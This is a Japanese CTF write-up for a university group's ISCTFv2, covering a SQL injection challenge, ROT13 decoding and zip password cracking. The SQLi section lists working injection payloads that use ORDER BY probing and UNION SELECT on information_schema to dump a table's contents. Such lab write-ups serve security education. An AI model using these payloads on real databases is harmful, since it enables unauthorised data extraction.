そもそもISCTFって?

僻地大学の武田圭史研究会のなかで行われているCTFです。 ひろたんとかいう人に書けとおどされてるので書きます。 今回で確か2回めなのですが、問題は10問用意されていました。

WirteUp

#1 Test 1pt

Input ISCTFv2

そのまま。

FLAGはISCTFv2

#3 zip search 20pt

Get the Flag!!!!
神奈川県限定

これぞ王道のSQLインジェクション(以下、SQLi)問題(最近深読みしすぎてココらへんが抜けてる)。なので王道で解いていきます。 SQLiをする基本的なSQL文はこんな感じ。

 SELECT * FROM table WHERE column = '入力値' 

ここからSQLiをするには' or 'a'='a' --などの悪意のあるクエリを入れる。

 SELECT * FROM table WHERE column = '' or 'a'='a' -- ' 

このクエリは常に条件を満たします。ちなみに最後の– は以降の文章をコメントアウトしてくれます(–の後にスペースが必要なのを注意)。 まず、ORDER BY句を用いてテーブルのカラム数を調べます。

 ' or 'a'='a' ORDER BY 1 -- ' or 'a'='a' ORDER BY 2 -- ' or 'a'='a' ORDER BY 3 -- 

ORDER BY 3、つまり3つ目のカラムでソートしようとした時にエラーがでたので、このテーブルのカラム数は2つとなります。 また、UNION句を用いることでクエリの最後に他のSELECT文を結合することができます。

適当な数字か文字を代入して、どの値が表示するのかを確かめます。

 ' UNION SELECT 1, 2 -- 

上記の結果で、テーブルの2番めのカラムである2が表示されました。 あとは、ここにMySQLの関数などを利用してFLAGを探します。

このようにすると同じデータベース内のテーブルの名前を一覧にして表示してくれます。

 ' UNION SELECT 1, GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE() -- 

ad_address,flag,users

いかにも怪しいflagテーブルというのがありました。 それではflagテーブルのカラムの情報を表示させてみましょう。

 ' UNION SELECT 1, GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='flag' -- 

name,value

後はもう、flagテーブルのデータの内容を表示するだけです。

 ' UNION SELECT 1, CONCAT_WS(',', name,value) FROM flag -- 

isctf,uni_toro_don

FLAGはuni_toro_don

#5 EBG guvegrra 5pt

Yvfg vasbezngvba nobhg  gur SVYRf (gur pheerag qverpgbel ol qrsnhyg). Fbeg ragevrf nycunorgvpnyyl vs abar bs -psghiFHK abe --fbeg. Znaqngbel nethzragf gb ybat bcgvbaf ner znaqngbel sbe   fubeg bcgvbaf gbb. -n, --nyy qb abg vtaber ragevrf fgnegvat jvgu . -N, --nyzbfg-nyy qb abg yvfg vzcyvrq . naq .. --nhgube jvgu -y, cevag gur nhgube bs rnpu svyr -o, --rfpncr cevag bpgny rfpncrf sbe abatencuvp punenpgref --oybpx-fvmr=FVMR hfr FVMR-olgr oybpxf -O, --vtaber-onpxhcf qb abg yvfg vzcyvrq ragevrf raqvat jvgu ~ -p jvgu -yg: fbeg ol, naq fubj, pgvzr (gvzr bs ynfg zbqvsvpngvba bs

何やら長いですがとりあえず落ち着いてROT13でもときましょう。 PHPだと標準でROT13を復号する関数があるのでそれを使いましょう。

シェルから一発でいけますね。 $ php -r "echo str_rot13(‘文字列’);"

List information about the FILEs (the current directory by default). Sort entries alphabetically if none of -cftuvSUX nor --sort. Mandatory arguments to long options aremandatory forshort options too. -a, --all do not ignore entries starting with . -A, --almost-all do not list implied . and .. --author with -l, print the author of each file -b, --escape print octal escapes for nongraphic characters --block-size=SIZE use SIZE-byte blocks -B, --ignore-backups do not list implied entries ending with ~ -c with -lt: sort by, and show, ctime (time of last modification of

どうみてもLinuxコマンドのlsの説明です。 FLAGはls

#6 Zip hack v1 5pt

MacのZipパスワードの総当りツールを知らなかったのでWindowsで有名な、Pika ZipをWineで立ち上げました(環境があった)。 数秒で解析がおわり、Zipのパスワードがtestであることがわかります。 後は、Zipを解凍してflag.txtを見ましょう。

FLAGはzip de kure??

#7 Zip hack v2 10pt

これ、Macを使ってる人だとほぼOS標準のアーカイバでとこうとするのでなかなか難しい(自分も詰まってバイナリ見てたりした)。 WindowsとかCUIを使っているとわかりやすいかも。 コマンドラインで解凍するとわかる。

 $ unzip zipv2.zip Archive: zipv2.zip Ff5wfCV5grU*hh&)s0x@fV;:d3%.cw*}x/* [zipv2.zip] flag.txt password: 

Ff5wfCV5grU*hh&)s0x@fV;:d3%.cw*}x/*という意味不明な記号の文字列が表示されていますが、これは、Zipについているコメントです。 このキーでZipを解凍してflag.txtを見ましょう。

FLAGはプログラムでも大事だよね

感想とか

他には、Webが2問、フォレンジック1問、バイナリ2問あまってます。 個人的にWebの2問が解けてないのがすごい悔しいところです。バイナリは不味いです。